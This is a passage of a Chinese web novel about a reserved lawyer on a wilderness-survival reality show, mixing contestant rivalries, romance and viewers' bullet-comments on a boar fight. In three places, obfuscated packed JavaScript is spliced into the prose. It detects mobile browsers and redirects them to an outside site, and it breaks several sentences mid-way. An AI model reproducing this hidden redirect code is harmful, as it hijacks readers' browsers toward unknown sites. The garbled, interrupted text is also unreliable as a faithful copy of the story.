在老板娘看来,秦璟沅虽擅长照顾别人,却不懂得照顾自己,更确切地说,他觉得这是在浪费时间、浪费钱。 反正,隔几天就会自动康复,下一次又会生病,秦璟沅已经习惯。 这让林月好几次暗自气闷又伤心。 刻意地锻炼后,秦璟沅觉得自己的身体素质已经比之前好太多了。都只是些感冒发烧之类的小毛病,没必要过于担心。 他不明白林月的情绪源头。 福利院的孩子很多,院长无法时时刻刻都关注到秦璟沅。他又是个擅长忍耐的,所以秦璟沅不舒服的时候,经常是无人知晓。 即使是儿时的他,也不是那种喜欢在大人面前撒娇卖乖的类型。除去个别被秦璟沅长相吸引的孩子,他跟其他人玩不到一块儿去。 他不可能像那些小鬼头一样,坐在地上吐鼻涕泡,还嘬刚擦过鼻涕的手指。 那些孩子,也不愿意靠近天天板着张扑克脸的秦璟沅。长得再好看又怎样,还不是个冰块怪。院长还老是偏爱他,真是讨厌。 而围在秦璟沅身边的几个孩子,年龄都特别小,懵懵懂懂,根本还没有关心照顾别人的意识。 见到秦璟沅的第一眼,他们就在想:这个哥哥看起来真漂亮,让人想起天上金光闪闪的太阳公公。 只要和秦璟沅对视,听他说那些长大后的事,赚钱的事,孩子们就觉得自己好像躺进了被阳光晒过的被窝里,手和脚都可以恣意地伸展开。 但偶尔,秦璟沅会避开他们,一个人吃饭,不和他们说话。他们还为此伤心难过了好久,猜测元宝哥哥是不是嫌弃自己烦人了。 那些时候,秦璟沅生病了。 独自靠坐在院子里的榕树旁,他抱着膝盖,静静地盯着地上移动的光斑。年幼的秦璟沅忍住喉尖的痒意,心里默想: 后天有图书馆的公益活动,会得到一张午饭的餐券,有15块钱,得赶快好起来。 被收养后,秦璟沅的身体好了一些。那个男人在饮食上并不吝啬,可以说是足够丰盛。大概是因为他也不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338972|167819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打骷髅架子,手感不太好。 那一年,秦璟沅养伤的时间,其实比养病更多些。 后来,林月发现自家向来沉稳可靠的小收银员,在生病期间,情绪会变得格外奇怪。 尤其是当她试图去关心对方的时候,就会被冷冷地排斥在外,像是徒手摸一块带刺的冰。 秦璟沅不喜欢改变,也讨厌出现那种“不习惯”的感觉。往往这时,他会觉得事情在逐渐脱离掌控。 但是大学毕业后,他的情况改善了许多,也变得更加内敛了。秦璟沅没有再拒绝林月往自己的家里送药,或者是其他的一些生活用品。 因为他发现生病会降低工作效率。 面对苏弘嘉话里的关心,秦璟沅面色沉静,声音没什么起伏: “是吗?你听错了。” “可你...” 向前一小步,苏弘嘉还想要补充些什么,却再次被南砚挡在了身后。他的手里握着好几包绿色的感冒灵颗粒,是从节目组提供的医疗包里拿的。 “秦哥,原来你生病了,那快点喝药吧,不然会变得更加严重的!” 凑到秦璟沅跟前,南砚仰头打量着男人有些泛白的嘴唇,眼含担忧。都怪刚才那个家伙,让自己居然比苏弘嘉晚一步才发现秦律师的不对劲。 不知不觉,两人之间的距离有一点超过了正常的社交范围,让秦璟沅感到了不适。身体往后倾,他冷声拒绝道: “不必...” 就在这时,三人身后的草丛里,突然发出了巨大的“唰唰”声。 一道人影从中间迅捷地闪过。眨眼之间,苏弘嘉手里拎着的烧水壶不见了,南砚握着的感冒灵没了,他们面前的秦璟沅也消失了。 抓着他手指的力道很轻,却含着不可挣脱的架势,将秦璟沅强行带离了原来的位置。 被扶坐到自家营地的帐篷旁,他看到韩睿霖转身走到溪边,往水壶里装水,周身还弥漫着一股奇怪的凝重氛围,心里感到不解: 怎么哪里都有这人呢? 忽然间,秦璟沅感觉喉咙里又一阵发痒,像是有只小虫在肆意爬动。他下意识蹙起眉心,将手背压在唇尖,压抑着那股痒意。 眼角憋得泛红,似是落了绯色的霜。 往日沉静冷淡的琥珀色眼眸,此刻也蒙上了一层雾气,透出些许脆弱来。 然而,从另外两人的视角看过去,男人背对着他们,脊背依旧挺直,肩膀只是细微地颤抖着。 像是风吹眼睫产生的幻觉。 对于秦璟沅来说,他的病来得快,去得也快,其实不太需要过多担忧。只要睡一觉,第二天就会好了。 只是脑袋有些昏沉,让秦璟沅的思绪变得迟缓,也就没有注意到身前靠近的人影。 额头突然传来了一阵冰凉的触感。 像是从壁炉房内出来,触到了冬夜的霜露,刹那间驱散了皮肤表面灼人的热气。 秦璟沅本能地眨了眨眼,抬目便对上一张眉头紧锁的蜜色脸庞。那双在初见时还透着些散漫的桃花眼,正专注地盯着自己。 “幸好,只是有点发热。” 单膝跪在他的身前,韩睿霖抬起的手背还搭在秦璟沅的额头上,食指指节撩开了他垂落在眉尾的黑色发丝。 “但是还得把药给喝...” 此时,韩睿霖才注意到秦璟沅的目光。话说到一半,他突然慌乱地闭上了嘴。 落日余晖从对方的背后倾洒而下,浓稠的橘红与金黄温柔地将他笼罩。 在韩睿霖的视线中,秦璟沅安静地坐在自己跟前,身形被这暖融融的光勾勒出了一圈毛茸茸的轮廓。 配上那张苍白的脸庞,有种柔软乖巧的错觉。 这是一次漫长却又短暂的对视。 漫长到韩睿霖已经幻想自己牵着秦璟沅的手,和他一起走到了人生的尽头。 却又短暂到,只是“啪”的一声,他的手就被人拍掉了。 果然,是错觉。 他才不是什么柔软的花,依旧是锋利的霜。 将自己被弄乱的额发整理好,秦璟沅瞥了眼正捂着手暗自发呆的银发男人,淡淡问了句: “不是要烧水?” “对对,要给你煮药...” 想起这茬,韩睿霖轻声嘟囔着,又回到了溪边,继续自己的烧水大业。 在他转身后,秦璟沅抬手摸了摸自己的额头,眸光有些看不分明。 或许,只是他想多了。 14. 想亲手喂他 这时,秦璟沅看见不远处突然出现了一堆石块,形状和大小都很符合他的要求。应该是韩睿霖刚才在林子里找到的,只是没来得及搬过来,随手抛在了附近。 将手指搭在喉结附近按了按,秦璟沅感觉自己的喉咙没那么痒了,便又开始忙碌搭建营地的任务。他将刚才几块体积过小的替换掉,石与石之间留出了恰到好处的缝隙,方便空气流通。 “秦哥,需要帮忙吗?” 伸展着空落落的手心,南砚暗自瞪了眼那个“抢劫犯”,就热情地拿起一块石头,递到秦璟沅面前。 而苏弘嘉自烧水壶被抢走后,就默默地回到了他和南砚的那片区域,开始独自搭建帐篷。 “我建议,你先去完成自己组的任务。” 头也没抬,秦璟沅绕过南砚手里的石头,拿了另一块。停顿了会儿,他举起石头点了点苏弘嘉的身影, “不然,我会觉得他很可怜。” 他的语气依旧平静,却让南砚尴尬得红了耳根。这是在指责他吗?指责自己把所有的事都抛给苏弘嘉。 “对...对不起,我知道了。” “你不必跟我道歉。” 拿出节目组提供的火柴盒,秦璟沅点燃了防火沟里的火堆。橙红色的火光,将他的面庞映得有些柔和。 往里面添了根树枝,秦璟沅静静地盯着燃烧的焰心,琥珀色的眼睛被眼睫遮了大半: “这是你们之间的问题。节目,会拍很久。” 言外之意,如果不快点处理好,影响到他们之后的拍摄,是秦璟沅不想看见的。 因为他现在依然认为,这是一档团队求生类综艺,队员之间的和谐很重要。秦璟沅起初虽不明白导演选择嘉宾的标准是什么,但现在看来,似乎是想产生冲突和戏剧性。 拍摄的初衷,就是为了盈利,这无可厚非。 看着秦璟沅的目光,南砚低下头,一时没有说话。半晌,他应了声:“好。” 他有些后悔。 之前应该做做样子的,现在倒是给秦璟沅留下了糟糕的印象,失策了。 走回到苏弘嘉身边,南砚半蹲着拿过他手中握着的防风绳,将声音压得极低,只有他们两人能听到: “你还真是厉害。” 侧过头,苏弘嘉蹙着眉看他。 “怎么,又在装了?” 一看见苏弘嘉这副模样,南砚就觉得有股无名火在心头熊熊燃烧。找水源的途中,对方就总是这样不说话,让别人猜他的心思。 当南砚因为抓兔子迷了路时,苏弘嘉就是沉默地看着他,然后沉默地寻找出路。 仿佛想要用这种方式,让南砚感到愧疚。呵呵,真是可笑呢。 从小到大,他都是最会装的那个。 是老师眼中的乖宝宝,父母眼中的好儿子,也是同学眼中的绿茶男。 因为南砚根本不屑于,在一群没用的家伙面前装。 现在,他居然发现了一个比自己更会装的人。因为苏弘嘉,他被那个人指责了。 “听说你是当兵的?哎呀,什么时候,装可怜的哑巴也能去当兵了啊。” 随手将防风绳绑到地钉上,南砚撅着嘴巴,似乎是真心实意地在疑惑着。 握着拳头,苏弘嘉的手背隐约有青筋暴起。下一秒,长发男人对他露出一个很甜的笑容: “这样的你,肯定保护不了任何人吧。所以,你的脸上...啊!” 摔倒在地,南砚捂着自己的右半张脸,眼眶里含了泪,却没有掉出来。在发现秦璟沅看向这边时,他才眨了眨眼,落下一颗珍珠泪来。 活动着右手,苏弘嘉的神色极冷。颊侧的疤痕,随着他咬肌的收紧,微微颤动。 他一拳直接把南砚打翻了。 “嘶——苏...苏弘嘉,我好心好意跟你道歉,你不接受就算了,怎么还打人呢?” 指尖摸着自己肿起的脸颊,南砚的心里充满戾气。该死啊,不会被打破相了吧? 走到那边,秦璟沅的视线在两人周身打量着。落到苏弘嘉脸上时,他听见这个向来寡言的男人,低低地吐出两个字: “不是。” 不是这样的。 “哟,两位这是咋啦?” 在火堆上搭好架子,韩睿霖把水烧上,才有心思过来看戏。他环着手臂,戏谑地瞧了眼躺在地上的南砚,故作怜悯地咂咂嘴: “啧啧,这一拳还挺狠,都给人打成猪头了。幸好,我家过年不吃这种。” 南砚:哪里来的神经病?! 无视韩睿霖不着边际的话,秦璟沅低头挽起自己的袖口。伸出右手,他盯着腕骨被黑色棉布扎得严严实实的伤痕。 朝着地上的南砚,他不咸不淡地开口:“南砚,如果觉得不够,我也可以帮你。” 空气突然凝滞了,只剩下火堆发出的“噼啪”声,以及水壶冒出来的蒸汽声。 看着秦璟沅的侧脸,苏弘嘉有些怔愣,心里有什么东西在蔓延。 “所以,你的想法是?” 站在南砚的身边,额头一缕黑色的发丝垂落,挡住了秦璟沅的神色。他温和地询问着对方的建议。 “...不,不用了,谢谢。” 从地上爬起来,南砚勉强扯起唇角,装作不在意地笑笑,用手掌挡住了自己红肿的脸。 他一个人走到远处的空地上,开始搭火堆,仿佛刚才什么都没发生过。 在秦璟沅打算转身时,他的肩膀又被人大力地抱住,这回连他身侧的两只手臂也被箍住了。 余光里,韩睿霖正星星眼地看着他,满脸崇拜: “秦律师,你可真是帅呆了啊。” “好像那种漫画里的男主角,都不用出手,动动嘴皮子,就打倒了反派。” 远处的反派·南砚:...... 不知所云。 “松开,水烧干了。” 推开韩睿霖凑到自己旁边的脸,秦璟沅平静地指了指那边正在“呜呜”惨叫的烧水壶。 “我靠,不会吧!” 飞速冲了过去,韩睿霖掀开铁质的壶盖,就被蒸汽烫得嗷嗷叫。他仔细看了眼,没烧干啊? 捂着唇,秦璟沅低声咳了下。 “我没有听错。” 他的身后,传来苏弘嘉沙哑的声音。 “啊,是没有。” 望着那边正弯下腰,急匆匆地翻找物资包的银发男人,秦璟沅毫无愧疚地应了句。 “你——” “觉得我骗了你?” “没有。” “那你像南砚说的,在装可怜么?” 虽然南砚压低了声音,但秦璟沅的听力很好。所以,他把两人的对话全部听到了。 “我没有在装可怜。” 像是有些着急,苏弘嘉头一次语速极快。 点点头,秦璟沅并不在意,没有再多说。他向来不是个喜欢刨根问底的人。 因此,苏弘嘉没有等来他预料中的追问,类似于“那你为什么话这么少?”“做什么要忍耐南砚呢?” 看着那人离去的背影,他抬了抬手指,又扣进了手心。当初,苏弘嘉正是因为忍耐力太差,才会害死了他们。 在队里最小的成员,卧底暴露,手指被一根一根掰断时,苏弘嘉没有忍耐。 那是他们中枪法最好的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15338973|167819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后,那伙人被一网打尽,可苏弘嘉的队员们,却再也回不来了。 如果他没有那样冲动,如果他蛰伏得再久一些,那么一切,会不会不一样? 苏弘嘉不知道。 他退役了。 回到自己的营地,秦璟沅发现韩睿霖正蹲在溪边,将铝制烧水壶的盖子,一半浸在水里。 他走过去一看,就见盖子里盛了些棕褐色的液体。 “在做什么?” “药太烫,你喝不了。我用溪水凉凉。” 伸手在盖底摸了摸,韩睿霖见温度刚好,便站起身,把药递到秦璟沅的唇边。 “喏,喝吧。没有碗,先凑合。盖子用开水消过毒了。” 秦璟沅本想抬手接过,却被避开了。他抿着唇,不带情绪地提了句: “我自己喝。” “太烫了,我来拿,你张嘴就行。” 神色自然地说出前三个字,韩睿霖完全忘了自己刚才已经特意凉过。他执着地举着那个盖子,想要亲手给秦璟沅喂药。 两人短暂地对峙了几秒。 不想再浪费时间,秦璟沅张开嘴,顺着韩睿霖的手,低头想要快速将药喝完。结果,对方见他这样,又拿开了。 “秦律师,慢点喝啊,没人催...”你。 因为韩睿霖的动作,一缕药液顺着秦璟沅的唇角蜿蜒而下,坠在他白皙的下颌上。 而他淡色的唇,也被感冒药剂的温度,浸得有些殷红,像是用碾碎牡丹花瓣的手指,反复摩擦过。 这时,韩睿霖才发觉,秦璟沅的下唇比旁人都要饱满些。随着起伏的唇肉,呈现出一种渐变的红。 眨眼频率变快,他原本还算镇定的神色,瞬间破碎。韩睿霖感觉自己的胸骨传来痛感,似乎在直白地催促着些什么。 他偏开头,再次压下那股欲/望。 在韩睿霖因为心间挣扎而发呆时,秦璟沅没有在意。他只是用手背随意抹去溢出的药,将那个盖子夺了过来,仰头饮尽。 磨磨唧唧,浪费时间。 胃里传来熨帖的感觉,秦璟沅感觉自己的喉咙,确实没那么难受了。 蹲在溪边,他将水壶盖子在水里洗了洗,手指突然被什么冰凉光滑的东西,轻轻地碰了碰。 低头看去,秦璟沅就见一条灰黑色的小鱼,正灵活地在他的指尖周围绕着圈。趁他不注意,用鱼尾在他的皮肤上留下一条冰凉的痕迹。 滑滑的,痒痒的。 他动了动手指。 那小鱼却胆大包天,没有逃离。它在秦璟沅前面的那片水域里,自由地展现着自己优美的泳姿。 阳光穿过溪水,折射成一簇簇倾斜的线,在小鱼的鳞片上反射出粼粼的光,如同被人遗落在溪里的碎银。 只要经过秦璟沅的手,就会用鱼嘴碰碰他。不愧是七秒记忆的鱼,碰过就忘记了。过去又回来,用的还都是同种姿势。 像是反复倒带的录像片。 他这是,被一条鱼给调戏了? “秦律师,今晚吃鱼吧。” 将这一幕收入眼底,韩睿霖恶狠狠地磨着牙,手已经探进水里了。 色鱼,爷马上就烤了你,还要洒孜然。 “算了,抓别的。” 收回手,秦璟沅甩了甩指尖的水,淡淡说道。这么小,根本没什么肉,还是抓肥的吧。 “哎,好吧,放它一马。” 没想到,自己有一天还会吃一条鱼的醋。秦律师还是太过心软,只是这样,就让他舍不得了。 不过,原来他吃这一套吗? 韩睿霖感觉自己明白了什么。 要不下一次,他也试试。 15. 女友粉or妈粉 快速地洗了个战斗澡,苏映薇围着条浴巾,就赤脚走出了浴室。她用毛巾胡乱地擦了擦滴水的发,移动鼠标点开了暂停的屏幕。 弹幕又开始飞速滚动。 她注意到原本全是白色的弹幕,逐渐变成了不同的颜色。对比弹幕的内容,苏映薇才明白这是平台新出的功能。 四位嘉宾分别对应四种颜色,只要弹幕内容提到了某位嘉宾,它就会自动识别并变成相应的颜色。 如果两位及以上,就是渐变色,没有提到嘉宾的弹幕,依然是白色。 只是看着屏幕上大片滚动的金色弹幕,苏映薇就能轻松地知道,这绝对是代表秦律师的颜色。 她将三人所在的分屏放大后,发现秦璟沅几人刚好来到了那片秋茄林。 【哟,石头哥和长发哥都跟着咱们璟沅哥做事,这才第一天呀:)】 【没办法,秦哥看起来就很有领导气质。】 【如果我有这样的领导,我会几点下班回家?】 在南砚发现白旗之前,弹幕就已经在疯狂提醒了。 【我看见了,那里有旗子!】 【还有秦哥头顶的,看起来有点难拿诶。】 目睹了秦璟沅干脆利落的割藤动作,以及苏弘嘉和他之间莫名的默契,弹幕变得格外激动,一时间以金色和蓝色为主。 【没想到秦看起来斯文,居然是个二话不说的行动派。】 【好帅气,我看见了秦哥的手臂肌肉,衬衫袖子都绷紧了啊啊啊!】 【小嗑一口默契搭档cp,石头哥只需要秦哥的一个动作,立刻就给出反应了。】 【有谁在看南砚的表情,他在洽柠檬ing】 见南砚主动提出,替几人寻找木材,弹幕的颜色又混进了一些绿色。 【长发哥果然是艺术家。】 【看不出来是雕刻家诶,是不是还分石雕和木雕来着?】 【本人八年木雕工,南砚的食指和拇指指腹老茧确实很明显,关节也比其他手指粗大一些。】 【那感觉长发哥也不算是拖后腿的嘛。】 几人分头行动后,直播屏幕分成了更细的小块,观众可以选择自己想看的画面,自行放大,调整比例。 操作着鼠标,苏映薇把秦律师的画面放在了正中央,其他人的各自留了一小块空位,放在左中下三个位置。 在秦璟沅安静地蹲在草丛里,观察那只吃草的兔子时,弹幕画风分裂极为明显。以苏映薇没预料到的方向,狂奔而去。 【救,我管不住自己的眼睛,总是落到不该落的地方,怎么办?】 【我不仅看,我还截图。】 【这宽肩窄腰加翘臀,流口水了要。】 【暗戳戳想看前面的视角(bus)】 【呜,我看见了秦哥西裤下面的脚踝,好白好细好漂亮,筋脉线条又好性感,超有x张力!】 【前面的姐妹,建议你搭配秦哥现在这张严肃认真的俊脸食用,反差感绝了!】 【只有我觉得元宝专注盯兔吃草的表情很可爱吗?】 【+1,我觉得好萌啊啊啊!】 【有片绿色的叶子落在咱家元宝头上了,他没发现,还是那样子严肃哈哈哈哈O u O】 【小兔子,识相点,被元宝吃掉是你的福气。】 【聪明宝宝,还会用套索。】 屏幕上妈粉和女友粉分明,cp粉几乎都暂时消失了。苏映薇默默给自己划分到女友粉的行列,并悄摸摸截了好几张图。 这种近距离欣赏秦律师的机会,真的太少了。平常上班的时候,苏映薇根本不敢看对方超过五秒。 更别说是这样长时间地,仔细观察秦律师的身材了。 不能再想,要流鼻血。 屏幕上,秦璟沅在长时间的等待后,终于出手了。可惜,第一次落空。 【哎呀,就差一点啊!】 【兔宝宝,你不该这样机灵的。】 【野生的兔子好机敏啊,不像我家的,肥得都快动不了。】 屏幕上的男人,又进入了第二次长时间的静待。 【好耐心的秦哥。】 【感觉璟沅哥是个超棒的猎手,感情上是不是也...】 【哈哈,不用他出手,猎物都自动撞上来了。】 弹幕的数量少了一些,部分观众跑到了其他嘉宾的分屏里,但大多数仍留在原地。因为秦璟沅在等待时,活像一座美丽的希腊雕塑。 【感觉就算秦哥不动,我也可以看一万年。】 【静态美和动态美,各有风味。】 苏映薇也分神关注了一下其他屏幕。 顺着那条路朝前走的韩睿霖,刚好碰到了一条清澈的溪流。他动作迅速地在溪边搭了个简易火堆,就准备去找今晚的食物。 结果,韩睿霖在采摘水果的时候,发现有一头年幼的小野猪,正在吃着地上落的成熟栗子。 现在是秋天,刚好是野猪为过冬储备能量的季节。 不过,奇怪的是,以野猪群对幼崽的保护程度,这只猪崽子身边居然没有成年野猪看护。 这下子,倒是便宜了韩睿霖。 今晚有炙烤嫩猪肉吃了。 分屏上端,持续有酒红色的弹幕在滚动着: 【小野猪(危)】 【感觉白毛哥运气好好,这一路上全是旗子。】 【他确实没吹牛,看得出经常露营。】 【哈哈哈,韩车手眼睛好像都瞬间冒绿光了。】 别看小野猪年幼,它在遭遇威胁时,也是有一定攻击性的。最大的武器便是它尖锐的獠牙,以及较为坚硬的头部,用作冲撞。 因此,韩睿霖不敢放松紧惕。 从背后扑过去,他用胳膊紧紧地将小野猪的脑袋压在地上,让它根本张不开嘴。 疯狂的挣扎时,周围的灌木丛都倒了一大片。空气中充斥着猪崽的嚎叫声。 担心会立刻引来成年野猪,韩睿霖加快了动作。在他的字典里,既然已经做了,那就索性做到底。 从口袋里掏出那枚银色的打火机,韩睿霖按了下金属外壳的底部,弹出了一把银白的折叠小刀。 【节目组不是没收行李了?白毛怎么还有打火机在身上?】 【果然有后台。】 【导演又没让搜身,这说明是可以带的吧?】 【这么高级的打火机,还能当刀使。】 在弹幕滚动时,韩睿霖已经把小野猪放倒在地。除了起初的几声惨叫,整个过程非常顺利。他随手甩掉刀上的血,动作竟和另一个屏幕上的秦璟沅格外一致。 提着野兔的尸/身,男人缓慢站起身。他用手背拭去颊侧溅到的一滴鲜红血珠,银边镜框下的琥珀色瞳孔,被纤长的睫毛覆了一半,透出些许无机质的冷漠。 筋络分明的白皙手背上,抹开一道淡淡的红。 【啊啊啊啊!我不行了,秦哥好欲。。。】 【我本来想说兔兔这么可爱,为什么要杀兔兔,但是这一幕让我屏住了呼吸。】 【呜呜呜明明是在杀生,为什么我感觉到了神性?】 【秦哥用这个眼神睥睨着我,然后掐我脖子(×)】 【前面的,你好危险,我先来。】 当秦璟沅回到集合地点时,神色又恢复了正常,平静中带着股温和。仿佛刚才的那种冷漠,只是观众出现的幻觉。 听见南砚在秦璟沅面前揽功劳的话,从苏弘嘉分屏里过来的观众纷纷义愤填膺起来: 【这个南砚怎么回事?撒谎不打草稿的。】 【可恶,欺负我们老实的石头哥!】 【那咋了,我觉得很正常,现在谁没有点心机?有本事张嘴说话啊,跟个哑巴似的,看着就烦。】 【对啊,恋综我就想看勾心斗角,谁想看和和美美。】 【不要被心机男骗啊,wuli璟沅哥。】 一枚橙黄的橘子抛到苏弘嘉手中,秦璟沅问出的那句话,让弹幕又变得激动。 【哇哇哇,不愧是秦哥,根本不会被心机男轻易骗到。】 【我天,谁能猜猜苏弘嘉现在的心理活动?】 【习惯性地蹲在墙角,用指甲抠着土里的蘑菇,墙面却被人挖了个小洞,洒了束阳光进来。】 【omg,南砚的表情有一瞬间好可怕!】 随着暴雨的落下,三人在狭窄的山洞里落脚。苏弘嘉在处理兔子,南砚在往火堆里加木头,而秦璟沅正在用手帕擦拭他被雨水溅湿的镜片。 【救,秦哥不戴眼镜也好好看。】 【给石头哥都看呆了,兔子都要烤焦了啊喂!】 【因为长发哥也在沉迷美色,木头加多了火太旺了哈哈哈。】 秦璟沅烤兔肉的手艺很专业,对于南砚的问题,也有一搭没一搭地回着,气氛还算融洽。弹幕也变得特别和谐: 【我靠,秦哥是律师!我好喜欢这个职业,感觉很聪明很靠谱的亚子。】 【没想到秦律师手艺这么好,他真的是我的理想天菜呜呜(我是男的)】 【哈哈哈,秦律师还会小幽默。放心,和我结婚,所有的财产都是你的,我也是你的!】 【啧,贴心的石头哥,还怕烫到我们秦律师的手,感觉是之前的效应。】 【活该哈哈哈,南被分到了个兔子屁股,原来苏也是有脾气的啊。】 【别管,只有我发现秦哥笑了吗?我晕倒了。】 【我也发现了!没看见南砚连兔屁股都啃得那么香吗?如此美丽的笑容,我连石头都能当薯片啃!】 【前面的,牙齿崩完了,秦律师看见你就笑不出来了吧。】 这边温馨和谐,另一边正在惊险刺激。 【老天爷,我刚从美人的笑容里出来,就看见如此丑陋凶恶的一张野猪脸,吓坏宝宝了。】 【没有对比,没有伤害。谁还记得白毛哥先前的拽样,现在慌不择路地逃跑。】 【节目组安全措施也太差了,怎么会有这种体型的野猪?跟头河马似的,好危险啊!】 【来这个节目前肯定签过什么协议吧,如果害怕危险干嘛来荒野求生?】 【这雨好大,天好黑,我都快看不清了,韩还能跑这么快。】 【啊啊快跑快跑,好可怕。】 过了会儿,弹幕里突然出现了几条金色: 【我靠我靠我靠,秦律师往这边儿来啦!】 【呜呜我感觉好像在外头迷路,万分无助的时候,突然看见了来接自己回家的爸爸。】 【本来我不知道大家为什么这么迷秦,看脸太肤浅了。但当他毫不犹豫地过来救人时,我立马换了头像。】 当韩睿霖脚下被泥水滑倒,身体大幅度倾斜的时候,直播平台的观众也在同一时间,屏住了呼吸。 画面上端干净了一瞬。 然而,一道颀长的身影出现在屏幕中,伸出手臂,牢牢地抱住了韩睿霖失去平衡的身体。 黑色的碎发被雨打湿后,贴在男人的两鬓,露出白皙饱满的额头,以及一对在雨汽里显得分外朦胧的金眸。 【啊啊啊啊啊!】 【啊啊啊——他们抱到啦!】 看到这一条,苏映薇猜测就是她隔壁的小姐妹发的。 【我宣布,这一对强强有亿点好磕。】 画面里,秦璟沅将匕首塞进韩睿霖手里,用石头主动引开野猪的追击。随后在对方第一次攻击失手受伤后,转身扑到庞然大物的背上,用手臂压制着它的动作。 两人一猪在泥水里翻滚搏斗时,观众的心也被紧紧地揪住了。 【我相信不是剧本了,感觉好像在看电影,他俩真不是武打演员吗?】 【呜,秦律师小心啊,后面有树。】 【我晕血啊啊,白毛哥这血洒了一地。】 【可恶,虽然我真的很紧张,但是秦哥的黑色衬衫湿湿地贴着他的身体,背肌有点太明显了...】 【岂止啊,两个人手臂上都是青筋,好涩好涩!】 【服了,有些人这种情况下还能发/情,有病吧,别人都有生命危险了。】 【就是啊,我都要怕死了,好担心他们打不过野猪,节目组到底有没有派人来,这是嘉宾自己能处理的?】 终于,在漫长的纠缠争斗后,韩睿霖扯着手里野猪的肠子和内脏,气喘吁吁地瘫坐在秦璟沅身边。 【除了牛逼,我不想多说。】 【膜拜了...】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15338974|167819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【感觉自己不是在看恋综。】 可他们两人之后的对话与互动,让弹幕的画风立时变得粉红起来。 【这就是惊险刺激之后的糖吗?请来更多,我不怕得糖尿病。】 【感觉白毛哥已深深爱上,瞧他自己还血呼刺啦的,就忙不迭给秦律师处理伤口了,啧啧。】 【嘶,秦律师有一种战损美,怎么有人泥巴糊脸还这么好看?】 【好听话啊,秦哥让张嘴就张嘴,伸手就伸手,哈哈哈哈莫名幻视狗狗请握手。】 此时的韩睿霖,与沙滩上的不羁完全不同。他低头专注地盯着秦璟沅的脸,整个人似乎都被雨水柔和了棱角。 【感觉韩被人魂穿了。】 【不懂了吧,人家这是被丘比特一箭射中。】 【好羡慕,我也想被秦律师包扎伤口。】 【卧槽,白毛哥身材好不错,这腹肌跟一排排焦糖面包似的,流鼻血了。】 【哈哈哈哈这哥更潮了。】 【该死啊,搞得我好想看秦律师的,穿得还是太多。】 看见那个熟悉的椰子,观众笑喷了。 【哟,兄弟,你好眼熟。】 【韩车手把砸了他脚两次的椰子背了一路,被野猪追这么久都没扔掉,就是想给秦律师喝,请细品。】 【别太爱了我说,这也太早了哈哈哈。】 听见秦璟沅与韩睿霖关于“哆啦A梦”展开的对话,观众一时槽点过多,不知如何吐槽。 【哈哈哈,好萌的秦哥,一脸认真地问“哆啦A梦是谁?”】 【笑死,给白毛都整不会了,难得的抖机灵以失败告终。】 【秦律师到底有几岁啊?感觉他看起来很年轻,居然连这个都不知道。】 【不一定是因为年纪大吧,可能人家就不爱看动画片呢!】 认同地点点头,苏映薇给这条弹幕点了个赞。秦律师除了各种法案,一般只看《人格心理学》这类书籍,怎么可能去看幼稚的动画片。 【我靠,永远的守护神,韩这就忍不住了,太直给了!】 【我想当你身后永远的守护神,就像大雄和他万能的哆啦A梦。】 【这和表白没什么区别了吧?】 【No,区别大了。很明显,秦律师本人根本没get到。】 【怜爱小白毛了,秦哥才没有多想呢QvQ】 【没错没错,秦律师衣服都湿了,那快点脱下来吧(认真)】 镜头跟随着秦璟沅的视角,来到了远处崭新的芭蕉叶雨棚下面。 【不是,发生了啥?就这样水灵灵地出现了一个全新的避雨处?韩有点太能干了吧。】 【不能干点怎么照顾好我家元宝(指指点点)】 【人家抛弃了原来好好的山洞不呆,跑这里来淋雨,还受了伤,这是他应该做的。】 【看来这哥们先前不是在吹牛皮撒~】 在秦璟沅被韩睿霖带着走到雨棚底下后,观众才突然发现,镜头拍不到底下的画面,只能听见两人的声音。 【我去啊,看不见,我好难受。】 【只听声音,心太痒啦...】 【果然节目组是特意没搜身的,就是给嘉宾留了空子钻。】 【谁信阿,这眉钉纹身,还不抽烟嘞,这白毛仔铁定在骗人嘛!】 【给朋友点蜡烛用,怎么听上去怪怪的?】 直到韩睿霖似乎强行脱了秦璟沅的衣服,弹幕不干了,隔着屏幕都能听见哀嚎: 【补药啊,我是年会会员,快给我看!】 【我期待了很久的...结果就给我听个声儿?】 【什么我的很丑,什么你的好看?什么什么,卧槽啊是我想的那个吗?啊啊啊!】 【不是,这么劲爆吗?这就直接坦诚相待了?】 【我的心碎成了无数片,需要看到秦律师的身体才能拼起来。】 看着这一幕,苏映薇的内心非常矛盾。她一方面当然也想看,但一想到自己喜欢的秦律师,会被其他女人看见身子,她突然又不是很想看了。 